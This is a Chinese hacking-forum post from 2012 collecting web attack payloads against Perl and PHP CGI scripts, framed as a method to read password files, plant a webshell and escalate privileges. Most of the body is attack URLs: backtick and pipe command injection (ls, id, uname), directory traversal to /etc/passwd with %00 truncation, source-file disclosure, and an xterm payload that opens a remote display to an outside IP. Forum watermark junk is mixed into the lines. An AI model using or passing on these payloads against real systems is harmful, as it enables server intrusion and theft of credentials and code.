找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2706|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  $ Q7 r( h  L3 E' O
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  9 z1 ?+ N2 v$ ^  W- q8 X7 w2 x+ V
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  ( @- m' Q+ B4 i! @- Y
注“  
4 U% ^0 [- z3 x* N5 \2 qperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  : v+ @! j1 G& N8 x, j$ k
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  . f$ S! E4 w; u( P

' ^) V# P4 o$ dhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造  
6 G+ m* K; Z$ @. a9 d" phttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  # I! m* k$ U1 N6 `1 N) _
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
; ~5 ?& o3 S+ k- r9 I4 Phttp://target.com/cgi-bin/home/news/sub.pl?`id`  - l: [3 _' R) X% u5 u( N! e4 T: q
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
( P! x$ o" J  s3 J1 ~9 ]http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
1 [9 T- |' o1 _1 U0 J. z
4 f  `8 x1 A. ?http://target.com/test.pl;ls|  
& A' N' r# |4 D; l6 M: Vhttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  2 m2 B2 s7 E! Z4 n6 U4 t
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  9 Q* @5 x1 u! {6 d- t& {! \6 n
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  0 G+ Z, h) \4 b+ a$ u
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  + B( r& g! U, f" u- k
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  4 h! A# l: `0 P4 `

6 @+ T9 X1 `/ Hhttp://target.com/test.pl?&........ /../../etc/passwd  - P: V# n1 o, r9 r

3 k9 K1 ^' w& F+ Shttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  , K  R& O" u: A5 k
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  ( P& w+ v% v6 J4 P1 E6 q
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  ! b( u) j7 d$ [7 B& ?: j: W
& t% r/ H: F  p5 g" T$ U, b
http://www.target.org/show.php?f ... /include/config.php 查看php代码  
9 E# R1 |# Z- h& h. \8 C3 Ehttp://www.target.org/show.php?f ... ng/admin/global.php  " v4 D7 Y) }. f+ S& u0 w" O
& H1 Y- _- p# K/ w
emm和ps的一句话! f5 q4 d8 v& x2 X% W9 E
$ @; A; S" d) N" P/ u
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  . [7 j9 ]9 F  m- S
  }, Z! i+ Y8 c1 y
>bbb%20|  $ M( _9 |2 S- l% o

" }+ W4 }- G- s, @+ \& nhttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
4 Y+ B7 C) c6 ]  |* Z2 ]  c/ J1 H, s4 j; t. p" w
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  % o0 L8 r4 x5 m- J6 r
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  + K) N: M$ {2 z

# S: ?$ c! Z- e0 a相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  ) O4 o# @: W9 u& \1 [! z
http://target.com/index.html#cmd.exe  
$ t; c& y9 @/ _4 mhttp://target.com/index.html?dummyparam=xp_cmdshell  8 O/ y% F: K- F9 P, e: Z
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  + G2 [; E: x7 Q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表